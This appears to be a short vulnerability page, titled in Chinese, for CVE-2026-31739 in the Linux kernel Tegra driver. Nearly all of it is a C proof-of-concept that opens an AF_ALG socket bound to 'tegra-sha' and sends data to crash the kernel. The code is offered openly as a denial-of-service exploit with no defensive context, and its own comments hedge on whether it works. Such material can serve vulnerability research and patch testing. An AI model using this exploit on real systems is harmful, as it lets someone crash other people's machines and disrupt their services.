CVE-2026-31739: Linux内核Tegra驱动拒绝服务漏洞

#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> // This PoC attempts to trigger the crash by sending a synchronous request // to a driver that is incorrectly marked as synchronous but is actually async. int main() { int tfmfd, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", // or "skcipher" depending on driver implementation .salg_name = "tegra-sha" // Example algorithm name handled by tegra driver }; // 1. Create socket tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket"); return 1; } // 2. Bind to the specific algorithm if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } // 3. Accept a connection (request) // By default, this might trigger the sync path if the flag is missing opfd = accept(tfmfd, NULL, 0); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } // 4. Send data to process // Sending data forces the kernel to process the hash/cipher operation char buf[32] = "trigger_data"; if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); } printf("PoC executed. If vulnerable, the kernel may crash.\n"); close(opfd); close(tfmfd); return 0; }